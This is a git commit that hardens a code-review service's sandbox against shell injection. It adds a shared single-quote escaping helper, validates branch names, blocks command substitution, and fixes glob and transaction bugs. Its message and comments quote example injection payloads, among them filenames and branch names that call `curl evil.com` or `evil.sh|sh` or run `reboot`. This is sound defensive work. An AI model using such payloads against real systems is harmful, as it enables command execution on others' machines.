fix(code-review): address TPs from Kody review — injection, regex, leaks

- shell-quote: extract shSingleQuote into its own module and share across
  e2bSandbox, sandboxSyntaxValidator, call-graph.helper, graph-context,
  kodus-graph-cli so every shell interpolation of PR-author-influenced
  strings (filenames, refs, paths) is single-quote escaped.
- sandboxSyntaxValidator: quote filePath, workDir, resultPath and the
  mkdir/rm target so a PR filename like `foo$(curl evil.com).ts` can't
  break out of the parse/cleanup commands.
- call-graph.helper: quote file.filename, func.file and the regex pattern
  used by grep/rg so diff-derived strings stay literal.
- graph-context: reject base branches with chars outside the
  git-compatible set, then still shell-escape `origin/<ref>` before
  interpolating into `git show`.
- kodus-graph-cli: escape outPath, outDir, repoDir, graphPath, diffPath
  and each excludePattern in parseAll/parseFiles/context; collapse
  quoteFiles to delegate to shSingleQuote.
- agent-tools.factory (findFile): stop stripping wildcards in the `find`
  fallback — `-iname` understands globs natively, so `*.ts` must stay
  intact instead of degrading to `*.ts*` (which also matched `foo.tsx`).
- kody-rules-agent (matchesPathPattern): swap the handrolled regex
  converter for the shared minimatch-backed isFileMatchingGlob; fixes
  `**/*.ts` silently missing root-level files.
- format-suggestion-content: move clearTimeout to `finally` so the 90s
  abort timer is always released when generateText rejects.
- localSandbox: validate `$(` and backticks on the raw command before
  stripping quoted sections so `cat "file-$(reboot)"` can't slip past
  the "outside quotes" scan. Mirror the check in the spec and add
  regression tests for double-quoted, single-quoted and backtick hides.
- astGraph.repository: wrap deleteAll and deleteByFiles in
  dataSource.transaction so the edges/nodes DELETEs can't half-commit
  and leave orphaned nodes (matches the fullRebuild pattern).
- clone-params-resolver + collect-cross-file-context +
  gather-documentation-context: replace the two-segment-only regex with
  a parser that accepts any path depth (GitLab subgroups, Bitbucket
  workspaces), trims trailing slashes and `.git`, and returns the last
  segment as `name`.
- tool-expectation-assertion: flag stepOverflow when expectedMaxSteps is
  a number but `parsed.trace.steps` isn't, so eval runs can't inflate
  scores on missing traces.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

Author: malinosqui

evals/investigation/tool-expectation-assertion.js

@@ -37,7 +37,8 @@ module.exports = (output, context) => {
     const forbidden = expectedForbiddenTools.filter((tool) => usedTools.has(tool));
     const stepOverflow =
         typeof expectedMaxSteps === 'number' &&
-        parsed.trace?.steps > expectedMaxSteps;
+        (typeof parsed.trace?.steps !== 'number' ||
+            parsed.trace.steps > expectedMaxSteps);
 
     const score =
         missing.length === 0 && forbidden.length === 0 && !stepOverflow ? 1 : 0;

libs/code-review/infrastructure/adapters/repositories/astGraph.repository.ts

@@ -65,27 +65,31 @@ export class AstGraphRepository {
     // -----------------------------------------------------------------------
 
     async deleteAll(repoId: string): Promise<void> {
-        await this.dataSource.query(
-            `DELETE FROM ast_edges WHERE repo_id = $1`,
-            [repoId],
-        );
-        await this.dataSource.query(
-            `DELETE FROM ast_nodes WHERE repo_id = $1`,
-            [repoId],
-        );
+        await this.dataSource.transaction(async (manager) => {
+            await manager.query(
+                `DELETE FROM ast_edges WHERE repo_id = $1`,
+                [repoId],
+            );
+            await manager.query(
+                `DELETE FROM ast_nodes WHERE repo_id = $1`,
+                [repoId],
+            );
+        });
     }
 
     async deleteByFiles(repoId: string, filePaths: string[]): Promise<void> {
         if (filePaths.length === 0) return;
 
-        await this.dataSource.query(
-            `DELETE FROM ast_edges WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
-            [repoId, filePaths],
-        );
-        await this.dataSource.query(
-            `DELETE FROM ast_nodes WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
-            [repoId, filePaths],
-        );
+        await this.dataSource.transaction(async (manager) => {
+            await manager.query(
+                `DELETE FROM ast_edges WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
+                [repoId, filePaths],
+            );
+            await manager.query(
+                `DELETE FROM ast_nodes WHERE repo_id = $1 AND file_path = ANY($2::text[])`,
+                [repoId, filePaths],
+            );
+        });
     }
 
     // -----------------------------------------------------------------------

libs/code-review/infrastructure/adapters/services/e2bSandbox.service.ts

@@ -11,6 +11,7 @@ import {
     SandboxRunResult,
 } from '@libs/code-review/domain/contracts/sandbox.provider';
 import { RemoteCommands } from './collectCrossFileContexts.service';
+import { shSingleQuote } from './shell-quote';
 
 const SANDBOX_TIMEOUT_MS = 20 * 60 * 1000; // 20 minutes — cross-file context + file analysis
 const REPO_DIR = '/home/user/repo';
@@ -24,16 +25,6 @@ const TIMEOUTS = {
     COMMAND_SHORT_MS: 10_000,
 };
 
-/**
- * Wrap a value in single quotes for safe inclusion in a POSIX shell command.
- * Git ref names (and fork-controlled URLs) can contain characters the shell
- * treats as control tokens — `;`, `&&`, `|`, `$()` — so a branch named
- * `main;curl evil.sh|sh` would otherwise execute arbitrary commands inside
- * the sandbox. Escape any embedded apostrophes using the `'\''` idiom.
- */
-const shSingleQuote = (value: string): string =>
-    `'${value.replace(/'/g, "'\\''")}'`;
-
 @Injectable()
 export class E2BSandboxService implements ISandboxProvider {
     private readonly logger = createLogger(E2BSandboxService.name);

libs/code-review/infrastructure/adapters/services/graph/graph-context.service.ts

@@ -5,6 +5,7 @@ import { SandboxInstance } from '@libs/code-review/domain/contracts/sandbox.prov
 import { AstGraphRepository } from '../../repositories/astGraph.repository';
 import { RepositoryRepository } from '../../repositories/repository.repository';
 import { KodusGraphCli, KODUS_GRAPH_TIMEOUTS } from './kodus-graph-cli';
+import { shSingleQuote } from '../shell-quote';
 
 const GRAPH_DIR = '.kodus-graph';
 const GRAPH_PATH = `${GRAPH_DIR}/graph.json`;
@@ -268,11 +269,28 @@ export class GraphContextService {
     ): Promise<string | undefined> {
         const BASE_FILES_DIR = `${GRAPH_DIR}/base-files`;
 
+        // Reject branch names that contain characters git wouldn't accept or
+        // that would break our shell interpolation. Keeping this as a hard
+        // rejection (not an escape) because any legitimate base branch we
+        // review fits easily in [A-Za-z0-9._/@+-].
+        if (!/^[A-Za-z0-9._\-/@+]+$/.test(baseBranch)) {
+            this.logger.warn({
+                message: `[KODUS-GRAPH] buildBaseGraphFromGit: baseBranch contains unsupported characters, skipping`,
+                context: GraphContextService.name,
+                metadata: { baseBranch },
+            });
+            return undefined;
+        }
+
         try {
             const escapedFiles = filePaths.map(
                 (f) => `'${f.replace(/'/g, "'\\''")}'`,
             );
             const fileList = escapedFiles.join(' ');
+            // Shell-escape the ref prefix so even if validation above is ever
+            // relaxed, the `git show` arg can't be abused. `$f` intentionally
+            // stays unquoted so the shell loop variable expands.
+            const safeBaseRef = shSingleQuote(`origin/${baseBranch}`);
 
             const extractResult = await sandbox.run(
                 [
@@ -281,7 +299,7 @@ export class GraphContextService {
                     `for f in ${fileList}; do ` +
                         `d="${BASE_FILES_DIR}/$(dirname "$f")" && ` +
                         `mkdir -p "$d" 2>/dev/null; ` +
-                        `git show "origin/${baseBranch}:$f" > "${BASE_FILES_DIR}/$f" 2>/dev/null || rm -f "${BASE_FILES_DIR}/$f"; ` +
+                        `git show ${safeBaseRef}":$f" > "${BASE_FILES_DIR}/$f" 2>/dev/null || rm -f "${BASE_FILES_DIR}/$f"; ` +
                         `done`,
                     `find ${BASE_FILES_DIR} -type f -size +0c | sed 's|^${BASE_FILES_DIR}/||' | sort`,
                 ].join(' && '),

libs/code-review/infrastructure/adapters/services/graph/kodus-graph-cli.ts

@@ -1,6 +1,7 @@
 import { createLogger } from '@kodus/flow';
 import { Injectable } from '@nestjs/common';
 import { SandboxInstance } from '@libs/code-review/domain/contracts/sandbox.provider';
+import { shSingleQuote } from '../shell-quote';
 
 export const KODUS_GRAPH_VERSION = 'latest';
 
@@ -84,17 +85,17 @@ export class KodusGraphCli {
         } = options;
         const outDir = dirname(outPath);
         const excludeFlags = excludePatterns
-            .map((p) => `--exclude "${p}"`)
+            .map((p) => `--exclude ${shSingleQuote(p)}`)
             .join(' ');
 
         const cmd =
-            `kodus-graph parse --all --repo-dir . --out ${outPath} ${excludeFlags}`.trim();
+            `kodus-graph parse --all --repo-dir . --out ${shSingleQuote(outPath)} ${excludeFlags}`.trim();
 
         const result = await sandbox.run(
             [
                 BUN_PATH_PREFIX,
                 `cd ${sandbox.repoDir}`,
-                `mkdir -p ${outDir}`,
+                `mkdir -p ${shSingleQuote(outDir)}`,
                 cmd,
             ].join(' && '),
             { timeoutMs },
@@ -130,8 +131,8 @@ export class KodusGraphCli {
             [
                 BUN_PATH_PREFIX,
                 `cd ${sandbox.repoDir}`,
-                `mkdir -p ${outDir}`,
-                `kodus-graph parse --files ${filesArg} --repo-dir ${repoDir} --out ${outPath}`,
+                `mkdir -p ${shSingleQuote(outDir)}`,
+                `kodus-graph parse --files ${filesArg} --repo-dir ${shSingleQuote(repoDir)} --out ${shSingleQuote(outPath)}`,
             ].join(' && '),
             { timeoutMs },
         );
@@ -161,15 +162,15 @@ export class KodusGraphCli {
         } = options;
         const outDir = dirname(outPath);
         const filesArg = quoteFiles(files);
-        const graphArg = graphPath ? ` --graph ${graphPath}` : '';
-        const diffArg = diffPath ? ` --diff ${diffPath}` : '';
-        const cmd = `kodus-graph context --files ${filesArg}${graphArg}${diffArg} --repo-dir . --format prompt --out ${outPath}`;
+        const graphArg = graphPath ? ` --graph ${shSingleQuote(graphPath)}` : '';
+        const diffArg = diffPath ? ` --diff ${shSingleQuote(diffPath)}` : '';
+        const cmd = `kodus-graph context --files ${filesArg}${graphArg}${diffArg} --repo-dir . --format prompt --out ${shSingleQuote(outPath)}`;
 
         const result = await sandbox.run(
             [
                 BUN_PATH_PREFIX,
                 `cd ${sandbox.repoDir}`,
-                `mkdir -p ${outDir}`,
+                `mkdir -p ${shSingleQuote(outDir)}`,
                 cmd,
             ].join(' && '),
             { timeoutMs },
@@ -184,7 +185,7 @@ export class KodusGraphCli {
 }
 
 function quoteFiles(files: string[]): string {
-    return files.map((f) => `'${f.replace(/'/g, "'\\''")}'`).join(' ');
+    return files.map(shSingleQuote).join(' ');
 }
 
 function dirname(path: string): string {

libs/code-review/infrastructure/adapters/services/localSandbox.service.ts

@@ -292,10 +292,23 @@ export class LocalSandboxService implements ISandboxProvider {
                 // don't provide, so we bail out instead of running it through
                 // execFile where the operator would be passed as a literal arg
                 // and confuse the underlying tool.
+                // Command substitution (`...` / $(...)) is never legitimate
+                // input for our tool commands. Check on the raw command first,
+                // before any quote stripping, so a payload hidden inside a
+                // quoted string (e.g. `cat "file-$(reboot)"`) can't slip past
+                // the later "outside quotes" scan and — if this layer ever
+                // gets wired to a real shell — execute.
+                if (/`|\$\(/.test(command)) {
+                    return {
+                        stdout: `Command substitution is not allowed in local sandbox: ${command}`,
+                        exitCode: 1,
+                    };
+                }
+
                 const outsideQuotes = command
                     .replace(/"[^"]*"|'[^']*'/g, '')
                     .replace(/\b2>&1\b/g, '');
-                if (/(?:>>|<<|>|<|;|&&|\|\||`|\$\()/.test(outsideQuotes)) {
+                if (/(?:>>|<<|>|<|;|&&|\|\|)/.test(outsideQuotes)) {
                     return {
                         stdout: `Unsupported shell syntax in local sandbox: ${command}`,
                         exitCode: 1,

libs/code-review/infrastructure/adapters/services/sandboxSyntaxValidator.service.ts

@@ -4,6 +4,7 @@ import { createLogger } from '@kodus/flow';
 import { Sandbox } from 'e2b';
 import pLimit from 'p-limit';
 import { ValidationCandidate } from '@libs/code-review/domain/types/astValidate.type';
+import { shSingleQuote } from './shell-quote';
 
 const PARSE_TIMEOUT_MS = 30_000;
 const CONCURRENCY_LIMIT = 10;
@@ -146,11 +147,13 @@ export class SandboxSyntaxValidator {
             const code = Buffer.from(candidate.encodedData, 'base64').toString('utf-8');
 
             const dir = fullPath.substring(0, fullPath.lastIndexOf('/'));
-            await sandbox.commands.run(`mkdir -p "${dir}"`, { timeoutMs: 5_000 });
+            await sandbox.commands.run(`mkdir -p ${shSingleQuote(dir)}`, {
+                timeoutMs: 5_000,
+            });
             await sandbox.files.write(fullPath, code);
 
             const result = await sandbox.commands.run(
-                `export PATH="$HOME/.bun/bin:$PATH" && kodus-graph parse --files "${filePath}" --repo-dir "${workDir}" --out "${resultPath}"`,
+                `export PATH="$HOME/.bun/bin:$PATH" && kodus-graph parse --files ${shSingleQuote(filePath)} --repo-dir ${shSingleQuote(workDir)} --out ${shSingleQuote(resultPath)}`,
                 { timeoutMs: PARSE_TIMEOUT_MS },
             );
 
@@ -188,7 +191,7 @@ export class SandboxSyntaxValidator {
             return null;
         } finally {
             try {
-                await sandbox.commands.run(`rm -rf "${workDir}"`, { timeoutMs: 5_000 });
+                await sandbox.commands.run(`rm -rf ${shSingleQuote(workDir)}`, { timeoutMs: 5_000 });
             } catch { /* ignore cleanup errors */ }
         }
     }

libs/code-review/infrastructure/adapters/services/shell-quote.ts

@@ -0,0 +1,13 @@
+/**
+ * Wrap a value in single quotes for safe inclusion in a POSIX shell command.
+ *
+ * Anything a PR author can influence (filenames, branch names, ref names,
+ * function names extracted from the diff) may contain shell-control tokens —
+ * `;`, `&&`, `|`, `$()`, backticks. Double-quoted interpolation still expands
+ * most of those, so string-building commands must go through this helper.
+ *
+ * Escapes embedded apostrophes using the classic `'\''` idiom (close quote,
+ * escaped single quote, reopen quote).
+ */
+export const shSingleQuote = (value: string): string =>
+    `'${value.replace(/'/g, "'\\''")}'`;

libs/code-review/infrastructure/agents/call-graph.helper.ts

@@ -1,5 +1,6 @@
 import { createLogger } from '@kodus/flow';
 import { RemoteCommands } from '../adapters/services/collectCrossFileContexts.service';
+import { shSingleQuote } from '../adapters/services/shell-quote';
 import * as fs from 'fs';
 import * as path from 'path';
 
@@ -450,7 +451,7 @@ async function generateCallGraphGrep(
 
         try {
             const { stdout } = await remoteCommands.exec(
-                `grep -nE "(^|[[:space:]])(def |func |fn |function |class |public |private |protected |async |export (function|class|const |default function))" "${file.filename}" 2>/dev/null | head -${MAX_FUNCTIONS_PER_FILE}`,
+                `grep -nE "(^|[[:space:]])(def |func |fn |function |class |public |private |protected |async |export (function|class|const |default function))" ${shSingleQuote(file.filename)} 2>/dev/null | head -${MAX_FUNCTIONS_PER_FILE}`,
             );
             if (!stdout?.trim()) continue;
 
@@ -510,7 +511,7 @@ async function generateCallGraphGrep(
         const callers: string[] = [];
         try {
             const { stdout } = await remoteCommands.exec(
-                `rg -n "${func.name}\\(" ${globExt} --glob '!*test*' --glob '!*Test*' --glob '!*spec*' --glob '!*Spec*' --glob '!*_test*' --glob '!*__tests__*' --glob '!*mock*' --glob '!*Mock*' --glob '!*.min.*' --glob '!vendor/*' . 2>/dev/null | grep -v "${func.file}" | grep -v "^Binary" | head -8`,
+                `rg -n ${shSingleQuote(`${func.name}\\(`)} ${globExt} --glob '!*test*' --glob '!*Test*' --glob '!*spec*' --glob '!*Spec*' --glob '!*_test*' --glob '!*__tests__*' --glob '!*mock*' --glob '!*Mock*' --glob '!*.min.*' --glob '!vendor/*' . 2>/dev/null | grep -v ${shSingleQuote(func.file)} | grep -v "^Binary" | head -8`,
             );
 
             if (stdout?.trim()) {

libs/code-review/infrastructure/agents/kody-rules-agent.provider.ts

@@ -3,6 +3,7 @@ import { PromptRunnerService } from '@kodus/kodus-common/llm';
 import { PermissionValidationService } from '@libs/ee/shared/services/permissionValidation.service';
 import { ObservabilityService } from '@libs/core/log/observability.service';
 import { DocumentationSearchExaService } from '@libs/code-review/infrastructure/adapters/services/documentation-search-exa.service';
+import { isFileMatchingGlob } from '@libs/common/utils/glob-utils';
 import {
     BaseCodeReviewAgentProvider,
     ReviewAgentIdentity,
@@ -297,30 +298,16 @@ If no violations found, respond with \`{"reasoning": "Checked all rules, no viol
     }
 
     /**
-     * Simple path pattern matching.
-     * Supports: exact match, glob-like patterns (* and **), directory prefix.
+     * Path pattern matching. Supports exact match, directory prefix, and
+     * globs (`*`, `**`) via the shared minimatch-backed util.
+     *
+     * The hand-rolled regex we had before compiled `**\/*.ts` to
+     * `.*\/[^/]*\.ts`, which required a `/` somewhere and silently missed
+     * root-level files like `foo.ts` or `src/foo.ts`.
      */
     private matchesPathPattern(filePath: string, pattern: string): boolean {
-        // Exact match
         if (filePath === pattern) return true;
-
-        // Directory prefix (e.g., "src/controllers/")
         if (pattern.endsWith('/') && filePath.startsWith(pattern)) return true;
-
-        // Simple glob: convert * to regex.
-        // Escape literal dots BEFORE expanding stars — otherwise the `.*` from `**`
-        // gets escaped into `\.*` (zero-or-more literal dots) and stops matching.
-        const regexStr = pattern
-            .replace(/\./g, '\\.')
-            .replace(/\*\*/g, '<<<DOUBLESTAR>>>')
-            .replace(/\*/g, '[^/]*')
-            .replace(/<<<DOUBLESTAR>>>/g, '.*');
-
-        try {
-            return new RegExp(`^${regexStr}$`).test(filePath);
-        } catch {
-            // Invalid pattern — treat as prefix match
-            return filePath.includes(pattern);
-        }
+        return isFileMatchingGlob(filePath, [pattern]);
     }
 }